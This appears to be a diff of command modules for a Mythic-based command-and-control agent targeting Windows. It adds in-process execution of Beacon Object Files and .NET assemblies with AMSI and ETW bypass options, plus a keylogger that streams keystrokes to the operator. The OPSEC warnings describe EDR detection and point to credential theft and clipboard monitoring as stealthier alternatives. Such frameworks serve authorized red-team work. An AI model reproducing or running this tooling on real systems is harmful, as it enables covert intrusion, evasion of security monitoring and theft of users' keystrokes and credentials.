help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
|
||||
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
|
||||
version = 1
|
||||
author = "@c0rnbread (adapted for Angerona)"
|
||||
attackmapping = []
|
||||
argument_class = InlineExecuteArguments
|
||||
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
try:
|
||||
groupName = taskData.args.get_parameter_group_name()
|
||||
|
||||
# Check if bof_file is provided (from subtask or "New" group)
|
||||
if taskData.args.get_arg("bof_file"):
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
AgentFileID=taskData.args.get_arg("bof_file")
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
# Set display parameters
|
||||
if groupName != "New": # Don't override if already set
|
||||
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("bof_arguments")
|
||||
)
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||
elif groupName == "Default" or taskData.args.get_arg("bof_name"):
|
||||
# We're trying to find an already existing file and use that
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=taskData.args.get_arg("bof_name"),
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
taskData.args.add_arg("bof_file", file_resp.Files[0].AgentFileId)
|
||||
taskData.args.remove_arg("bof_name") # Don't need this anymore
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("bof_arguments")
|
||||
)
|
||||
|
||||
elif len(file_resp.Files) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||
else:
|
||||
raise Exception("Either bof_name or bof_file must be provided")
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(e))
|
||||
|
||||
return response
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about BOF execution risks.
|
||||
"""
|
||||
message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n"
|
||||
message += "BOF (Beacon Object File) execution is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (memory allocation monitoring)\n"
|
||||
message += " • API call monitoring (LoadLibraryA, GetProcAddress)\n"
|
||||
message += " • Memory scanning (executable page allocation)\n"
|
||||
message += " • Symbol resolution tracking\n\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • PAGE_EXECUTE_READWRITE memory allocation\n"
|
||||
message += " • External symbol resolution (LoadLibraryA/GetProcAddress)\n"
|
||||
message += " • COFF loader activity patterns\n"
|
||||
message += " • Beacon API function calls\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • In-process execution reduces some detection vectors (no new process)\n"
|
||||
message += " • Better OPSEC than `shell` (no cmd.exe spawn)\n"
|
||||
message += " • Memory allocation may be scanned by EDR\n"
|
||||
message += " • API calls may be logged by security tools\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: MEDIUM\n"
|
||||
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False, # Medium risk, don't block
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Process Create: BOF execution in current process\n"
|
||||
message += " • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n"
|
||||
message += " • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n"
|
||||
|
||||
message += "💡 ARTIFACT DETAILS:\n"
|
||||
message += " • Process Create artifact is logged in Mythic\n"
|
||||
message += " • Memory allocation may be detected by EDR memory scanning\n"
|
||||
message += " • API calls may be logged by security tools\n\n"
|
||||
|
||||
message += "✅ Review artifacts in the Artifacts tab after execution."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,529 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
# Wrapper function for Inline-EA
|
||||
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
|
||||
|
||||
# Completion callback for BOF execution
|
||||
# This captures output from the subtask and displays it in the main command
|
||||
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
|
||||
try:
|
||||
out = ""
|
||||
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
|
||||
|
||||
# Get parent task ID
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if not parent_task_id:
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
|
||||
|
||||
# Get subtask ID
|
||||
subtask_id = None
|
||||
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
|
||||
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
|
||||
subtask_id = completionMsg.SubtaskData.Task.ID
|
||||
|
||||
if not subtask_id:
|
||||
# Try alternative attribute names
|
||||
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
|
||||
if hasattr(completionMsg.Subtask, 'ID'):
|
||||
subtask_id = completionMsg.Subtask.ID
|
||||
elif hasattr(completionMsg.Subtask, 'TaskID'):
|
||||
subtask_id = completionMsg.Subtask.TaskID
|
||||
|
||||
if not subtask_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response="[ERROR] No subtask ID found in completion message"
|
||||
))
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
|
||||
|
||||
# Search for responses from the subtask
|
||||
# Add a small delay to ensure the response is available
|
||||
import asyncio
|
||||
await asyncio.sleep(1.0) # Wait 1 second for response to be processed
|
||||
|
||||
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
|
||||
|
||||
logging.info(f"[coff_completion_callback] Searching responses for subtask {subtask_id}, Success={responses.Success}")
|
||||
logging.info(f"[coff_completion_callback] Response object type: {type(responses)}")
|
||||
logging.info(f"[coff_completion_callback] Response object attributes: {dir(responses)}")
|
||||
|
||||
if not responses.Success:
|
||||
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
|
||||
logging.warning(f"[coff_completion_callback] Failed to search responses: {error_detail}")
|
||||
# Don't return error, just log it and continue
|
||||
|
||||
# Process responses if they exist
|
||||
responses_list = None
|
||||
if responses.Success:
|
||||
if hasattr(responses, 'Responses'):
|
||||
responses_list = responses.Responses
|
||||
logging.info(f"[coff_completion_callback] Found responses.Responses: {len(responses_list) if responses_list else 0} items")
|
||||
elif hasattr(responses, 'responses'):
|
||||
responses_list = responses.responses
|
||||
logging.info(f"[coff_completion_callback] Found responses.responses: {len(responses_list) if responses_list else 0} items")
|
||||
elif hasattr(responses, 'Response'):
|
||||
responses_list = [responses.Response] if responses.Response else []
|
||||
logging.info(f"[coff_completion_callback] Found responses.Response: {len(responses_list) if responses_list else 0} items")
|
||||
else:
|
||||
logging.warning(f"[coff_completion_callback] No known response attribute found in response object")
|
||||
|
||||
if responses_list:
|
||||
logging.info(f"[coff_completion_callback] Processing {len(responses_list)} response items")
|
||||
for idx, output in enumerate(responses_list):
|
||||
logging.info(f"[coff_completion_callback] Processing response item {idx}, type: {type(output)}")
|
||||
if hasattr(output, 'Response'):
|
||||
out += str(output.Response)
|
||||
elif hasattr(output, 'response'):
|
||||
out += str(output.response)
|
||||
elif hasattr(output, 'Message'):
|
||||
out += str(output.Message)
|
||||
elif hasattr(output, 'message'):
|
||||
out += str(output.message)
|
||||
elif hasattr(output, 'output'):
|
||||
out += str(output.output)
|
||||
elif isinstance(output, str):
|
||||
out += output
|
||||
elif isinstance(output, bytes):
|
||||
out += output.decode('utf-8', errors='ignore')
|
||||
else:
|
||||
logging.info(f"[coff_completion_callback] Converting output to string, type: {type(output)}")
|
||||
out += str(output)
|
||||
|
||||
# If no output was found, indicate successful execution
|
||||
if not out:
|
||||
logging.warning(f"[coff_completion_callback] No output found for subtask {subtask_id}")
|
||||
out = "[Assembly executed successfully but produced no output]"
|
||||
|
||||
# Send the aggregated output back to the parent task
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=out
|
||||
))
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
import traceback
|
||||
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
|
||||
try:
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if parent_task_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=error_msg
|
||||
))
|
||||
except:
|
||||
pass
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
|
||||
|
||||
class InlineExecuteAssemblyArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="assembly_name",
|
||||
cli_name="Assembly",
|
||||
display_name="Assembly",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
)
|
||||
]),
|
||||
CommandParameter(
|
||||
name="assembly_file",
|
||||
display_name="New Assembly",
|
||||
type=ParameterType.File,
|
||||
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="New Assembly",
|
||||
ui_position=1,
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="assembly_arguments",
|
||||
cli_name="Arguments",
|
||||
display_name="Arguments",
|
||||
type=ParameterType.String,
|
||||
description="Arguments to pass to the assembly.",
|
||||
default_value="",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=2,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=2
|
||||
),
|
||||
],
|
||||
),
|
||||
CommandParameter(
|
||||
name="patch_exit",
|
||||
cli_name="-patchexit",
|
||||
display_name="patchexit",
|
||||
type=ParameterType.Boolean,
|
||||
description="Patches System.Environment.Exit to prevent Beacon process from exiting",
|
||||
default_value=False,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=3,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=3
|
||||
),
|
||||
],
|
||||
),
|
||||
CommandParameter(
|
||||
name="amsi",
|
||||
cli_name="-amsi",
|
||||
display_name="amsi",
|
||||
type=ParameterType.Boolean,
|
||||
description="Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections",
|
||||
default_value=False,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=4,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=4
|
||||
),
|
||||
],
|
||||
),
|
||||
CommandParameter(
|
||||
name="etw",
|
||||
cli_name="-etw",
|
||||
display_name="etw",
|
||||
type=ParameterType.Boolean,
|
||||
description="Bypass ETW by EAT Hooking advapi32.dll!EventWrite to point to a function that returns right away",
|
||||
default_value=False,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=5,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=5
|
||||
),
|
||||
],
|
||||
),
|
||||
]
|
||||
|
||||
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
|
||||
response = PTRPCDynamicQueryFunctionMessageResponse()
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
CallbackID=callback.Callback,
|
||||
LimitByCallback=False,
|
||||
Filename="",
|
||||
))
|
||||
if file_resp.Success:
|
||||
file_names = []
|
||||
for f in file_resp.Files:
|
||||
if f.Filename not in file_names and f.Filename.endswith(".exe"):
|
||||
file_names.append(f.Filename)
|
||||
response.Success = True
|
||||
response.Choices = file_names
|
||||
return response
|
||||
else:
|
||||
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
|
||||
CallbackId=callback.Callback,
|
||||
Message=f"Failed to get files: {file_resp.Error}",
|
||||
MessageLevel="warning"
|
||||
))
|
||||
response.Error = f"Failed to get files: {file_resp.Error}"
|
||||
return response
|
||||
|
||||
async def parse_arguments(self):
|
||||
# This is only called when user types command directly
|
||||
# Subtasks use parse_dictionary instead
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
# If command_line is empty, do nothing (subtask will use parse_dictionary)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
# This is called when using the modal UI or when called as a subtask
|
||||
# Just load the arguments directly
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
class InlineExecuteAssemblyCommand(CommandBase):
|
||||
cmd = "inline_execute_assembly"
|
||||
needs_admin = False
|
||||
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
|
||||
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
|
||||
version = 1
|
||||
author = "@c0rnbread (adapted for Angerona)"
|
||||
script_only = True
|
||||
attackmapping = []
|
||||
argument_class = InlineExecuteAssemblyArguments
|
||||
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||
attributes = CommandAttributes(
|
||||
dependencies=["inline_execute"],
|
||||
alias=True,
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about .NET assembly execution risks, especially with bypass flags.
|
||||
"""
|
||||
# Check if bypass flags are enabled
|
||||
amsi_enabled = taskData.args.get_arg("amsi") or False
|
||||
etw_enabled = taskData.args.get_arg("etw") or False
|
||||
patch_exit_enabled = taskData.args.get_arg("patch_exit") or False
|
||||
|
||||
blocked = False
|
||||
message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n"
|
||||
|
||||
message += ".NET assembly execution is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (CLR loading detection)\n"
|
||||
message += " • AMSI (Anti-Malware Scan Interface)\n"
|
||||
message += " • ETW (Event Tracing for Windows)\n"
|
||||
message += " • Memory scanning (executable page allocation)\n"
|
||||
message += " • Behavioral analysis engines\n\n"
|
||||
|
||||
if amsi_enabled or etw_enabled:
|
||||
message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n"
|
||||
message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n"
|
||||
|
||||
if amsi_enabled:
|
||||
message += " • --amsi: AMSI bypass by patching clr.dll\n"
|
||||
message += " - Patching clr.dll may trigger behavioral detections\n"
|
||||
message += " - More evasive than patching amsi.dll, but still detectable\n"
|
||||
message += " - Advanced EDR solutions monitor CLR modifications\n\n"
|
||||
|
||||
if etw_enabled:
|
||||
message += " • --etw: ETW bypass via EAT hooking\n"
|
||||
message += " - EAT hooking advapi32.dll!EventWrite is monitored\n"
|
||||
message += " - Advanced EDR solutions detect export table modifications\n"
|
||||
message += " - May trigger immediate alerts\n\n"
|
||||
|
||||
message += "🔍 BYPASS DETECTION MECHANISMS:\n"
|
||||
message += " • CLR DLL patching detection\n"
|
||||
message += " • Export Address Table (EAT) hooking detection\n"
|
||||
message += " • Behavioral analysis of bypass techniques\n"
|
||||
message += " • Memory integrity checks\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n"
|
||||
message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n"
|
||||
|
||||
# Block if both bypasses are enabled
|
||||
if amsi_enabled and etw_enabled:
|
||||
blocked = True
|
||||
message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n"
|
||||
message += "This combination has very high detection risk.\n"
|
||||
message += "Consider using only one bypass or none if possible.\n\n"
|
||||
else:
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • CLR loading into memory\n"
|
||||
message += " • .NET assembly reflection/loading\n"
|
||||
message += " • Memory allocation (executable pages)\n"
|
||||
message += " • Assembly execution patterns\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • In-process execution reduces detection vectors (no process injection)\n"
|
||||
message += " • Better OPSEC than process spawning (no new process creation)\n"
|
||||
message += " • CLR loading may be detected by EDR\n"
|
||||
message += " • Memory allocation may be scanned\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n"
|
||||
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
|
||||
|
||||
if patch_exit_enabled:
|
||||
message += " • --patchexit: Prevents assembly from exiting (recommended)\n\n"
|
||||
|
||||
message += "💡 ALTERNATIVES:\n"
|
||||
message += " • Use `inline_execute` for BOFs (lower detection risk)\n"
|
||||
message += " • Consider executing assemblies without bypass flags first\n\n"
|
||||
|
||||
if not blocked:
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
else:
|
||||
message += "❌ This command is BLOCKED due to high detection risk.\n"
|
||||
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=blocked,
|
||||
OpsecPreBypassRole="other_operator" if blocked else "operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
amsi_enabled = taskData.args.get_arg("amsi") or False
|
||||
etw_enabled = taskData.args.get_arg("etw") or False
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Process Create: .NET assembly execution in-process\n"
|
||||
message += " • CLR Loading: .NET Common Language Runtime loaded into memory\n"
|
||||
message += " • Memory Allocation: Executable memory pages for assembly\n"
|
||||
|
||||
if amsi_enabled:
|
||||
message += " • AMSI Bypass: clr.dll patching (high detection risk)\n"
|
||||
if etw_enabled:
|
||||
message += " • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n"
|
||||
|
||||
message += "\n💡 ARTIFACT DETAILS:\n"
|
||||
message += " • Process Create artifact is logged in Mythic\n"
|
||||
message += " • CLR loading may be detected by EDR\n"
|
||||
message += " • Memory allocation may be scanned by EDR memory protection\n"
|
||||
|
||||
if amsi_enabled or etw_enabled:
|
||||
message += " • Bypass techniques may trigger immediate behavioral alerts\n"
|
||||
|
||||
message += "\n✅ Review artifacts in the Artifacts tab after execution."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
try:
|
||||
groupName = taskData.args.get_parameter_group_name()
|
||||
|
||||
if groupName == "New Assembly":
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
AgentFileID=taskData.args.get_arg("assembly_file")
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
pass
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments"),
|
||||
taskData.args.get_arg("patch_exit"),
|
||||
taskData.args.get_arg("amsi"),
|
||||
taskData.args.get_arg("etw")
|
||||
)
|
||||
|
||||
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
|
||||
taskData.args.remove_arg("assembly_file")
|
||||
|
||||
elif groupName == "Default":
|
||||
# We're trying to find an already existing file and use that
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=taskData.args.get_arg("assembly_name"),
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
|
||||
|
||||
taskData.args.remove_arg("assembly_name") # Don't need this anymore
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments"),
|
||||
taskData.args.get_arg("patch_exit"),
|
||||
taskData.args.get_arg("amsi"),
|
||||
taskData.args.get_arg("etw")
|
||||
)
|
||||
|
||||
elif len(file_resp.Files) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||
|
||||
# Get the file contents of the .NET assembly ( base64 ( assembly bytes ) )
|
||||
assembly_contents = await SendMythicRPCFileGetContent(
|
||||
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
|
||||
)
|
||||
|
||||
# Arguments depend on the BOF
|
||||
# Note: Using bof_name instead of bof_file to match Xenon's implementation
|
||||
file_name = "inline-ea.x64.o"
|
||||
arguments = [
|
||||
[
|
||||
"bytes",
|
||||
assembly_contents.Content.hex() # Raw bytes of Assembly
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
len(assembly_contents.Content) # Assembly length
|
||||
],
|
||||
[
|
||||
"wchar",
|
||||
taskData.args.get_arg("assembly_arguments") or "" # Assembly argument string
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
1 if taskData.args.get_arg("patch_exit") else 0 # BOOL: convert to 1 or 0
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
1 if taskData.args.get_arg("amsi") else 0 # BOOL: convert to 1 or 0
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
1 if taskData.args.get_arg("etw") else 0 # BOOL: convert to 1 or 0
|
||||
]
|
||||
|
||||
]
|
||||
|
||||
# Find the BOF file first
|
||||
bof_file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=file_name,
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
|
||||
if not bof_file_resp.Success or len(bof_file_resp.Files) == 0:
|
||||
raise Exception(f"Failed to find BOF file '{file_name}': {bof_file_resp.Error if bof_file_resp.Success else 'File not found'}")
|
||||
|
||||
# Create subtask to execute inline_execute with the BOF
|
||||
# Use coff_completion_callback to capture output and display it in the main command
|
||||
subtask = await SendMythicRPCTaskCreateSubtask(
|
||||
MythicRPCTaskCreateSubtaskMessage(
|
||||
taskData.Task.ID,
|
||||
CommandName="inline_execute",
|
||||
SubtaskCallbackFunction="coff_completion_callback",
|
||||
Params=json.dumps({
|
||||
"bof_file": bof_file_resp.Files[0].AgentFileId,
|
||||
"bof_arguments": arguments
|
||||
}),
|
||||
Token=taskData.Task.TokenID,
|
||||
)
|
||||
)
|
||||
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(e))
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class KeylogStartArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
pass
|
||||
|
||||
|
||||
class KeylogStartCommand(CommandBase):
|
||||
cmd = "keylog_start"
|
||||
needs_admin = False
|
||||
help_cmd = "keylog_start"
|
||||
description = "Start a low-level keyboard logger that captures all keystrokes from the system and streams them to Mythic in real-time. Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level. CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions, anti-malware, and behavioral analysis engines. Detection is likely within minutes or hours. Always requires approval from a lead operator. Consider alternatives such as credential theft, browser credential extraction, or clipboard monitoring for better OPSEC."
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
argument_class = KeylogStartArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows],
|
||||
suggested_command=False,
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about keylogger risks - this is highly detectable.
|
||||
"""
|
||||
message = "🚨 CRITICAL OPSEC RISK - Keylogger Detected\n\n"
|
||||
message += "Keyloggers are EXTREMELY detectable and monitored by:\n"
|
||||
message += " • EDR/XDR solutions (high priority detection)\n"
|
||||
message += " • Anti-malware solutions\n"
|
||||
message += " • Behavioral analysis engines\n"
|
||||
message += " • User activity monitoring tools\n"
|
||||
message += " • Data loss prevention (DLP) systems\n\n"
|
||||
message += "Detection mechanisms:\n"
|
||||
message += " • Low-level keyboard hook detection\n"
|
||||
message += " • API hooking detection (SetWindowsHookEx)\n"
|
||||
message += " • Keyboard input monitoring\n"
|
||||
message += " • Suspicious process behavior\n"
|
||||
message += " • Memory scanning for keylogger patterns\n\n"
|
||||
message += "⚠️ HIGH RISK FACTORS:\n"
|
||||
message += " • Keyloggers are classified as malware by most security tools\n"
|
||||
message += " • Immediate detection and removal is common\n"
|
||||
message += " • Legal implications in many jurisdictions\n"
|
||||
message += " • May trigger incident response procedures\n\n"
|
||||
message += "Consider alternatives:\n"
|
||||
message += " • Use credential theft techniques instead\n"
|
||||
message += " • Use browser credential extraction\n"
|
||||
message += " • Use clipboard monitoring (less detectable)\n"
|
||||
